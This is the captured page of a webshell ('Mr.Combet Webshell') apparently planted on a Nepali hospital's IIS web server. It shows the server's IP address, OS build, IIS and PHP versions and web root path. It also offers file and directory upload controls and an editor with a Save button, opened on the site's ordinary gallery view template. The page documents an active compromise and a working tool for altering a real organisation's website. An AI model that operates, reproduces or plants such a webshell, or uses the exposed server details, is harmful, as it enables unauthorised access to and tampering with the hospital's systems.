Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
BNBHospital
/
Views
/
HomeUI
/
Edit File Name :
Gallery.cshtml
@model List<bnb.Models.GalleryViewModel> @{ ViewBag.Title = "Gallery"; Layout = "~/Views/Shared/_Navbar.cshtml"; var index = 3; } <meta name="keywords" content="private hospital in Nepal, hospital Nepal, Nepal hospital, hospital, orthopedic, urology, orthopedic Nepal, orthopedic surgery, urology Nepal, Ashok Banskota, Jagadish Baidya, B&B, BnB, Kathmandu hospital, Lalitpur hospital"> <link rel="stylesheet" type="text/css" href="~/Content/css/lightbox.min.css"> <script type="text/javascript" src="~/Scripts/lightbox-plus-jquery.min.js"></script> <style> /*.l-banner__inner { margin-top: 0px; }*/ .gallery-inner-img { display: block; } .gallery-inner-img .img-gallery { max-width: 100%; object-fit: cover; height: 296px; background-size: cover; } </style> @*<div class="l-banner__inner hidden-xs d-flex"> </div>*@ <div class="l-breadcrumb pt-2 pb-2"> <div class="container"> <nav style="--bs-breadcrumb-divider: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='8' height='8'%3E%3Cpath d='M2.5 0L1 1.5 3.5 4 1 6.5 2.5 8l4-4-4-4z' fill='currentColor'/%3E%3C/svg%3E") ;" aria-label="breadcrumb" class="d-flex py-3"> <ol class="mb-0 breadcrumb align-self-center"> <li class="breadcrumb-item"><a href="@Url.Action("Index","HomeUI")">Home</a></li> <li class="breadcrumb-item"><a href="@Url.Action("GalleryAlbum","HomeUI")">GalleryAlbum</a></li> <li class="breadcrumb-item active" aria-current="page">@ViewBag.galname</li> </ol> </nav> </div> </div> <div class="container mb-5"> <h1 class="content__title mb-0 align-self-center fw-bold mb-3">@ViewBag.galname</h1> <div class="m-gallery mt-4 pt-4 lightbox clearfix" style="z-index: 0; position: relative;"> <div class="row"> @foreach (var item in Model) { <div class="valueForPic col-lg-4 mb-4 mb-lg-0"> <a class="gallery-inner-img" href="~/Content/img/@item.ImageURL" data-title="@item.ImageCaption" data-lightbox="mygallery"> <img class="img-gallery w-100 shadow-1-strong rounded" data-bs-target="#image-slider" data-bs-slide-to="@item.GalleryID" src="~/Content/img/@item.ImageURL" value="@item.GalleryID" alt="#" /> </a> <p>@item.ImageCaption</p> </div> } </div> </div> </div> <script> var img = document.getElementsByClassName("valueForPic"); var stillimg = document.getElementsByClassName("carousel-item"); function inactiveClass() { for (var i = 0; i < stillimg.length; i++) { stillimg[i].className = stillimg[i].className.replace("active", ""); } } for (var i = 0; i < img.length; i++) { console.log(i); img[i].addEventListener("click", function () { inactiveClass(); //var sel = document.querySelector('.carousel-item'); //console.log(sel); if (stillimg[i] != undefined) { console.log("gg"); stillimg[i].classList.toggle('active'); } }); } //var lightbox = document.querySelector('.lightbox'); lightbox.option({ 'disableScrolling': true, 'resizeDuration': 500, 'wrapAround': true, 'alwaysShowNavOnTouchDevices': true, 'positionFromTop': 100, 'showImageNumberLabel': true }) </script>
Save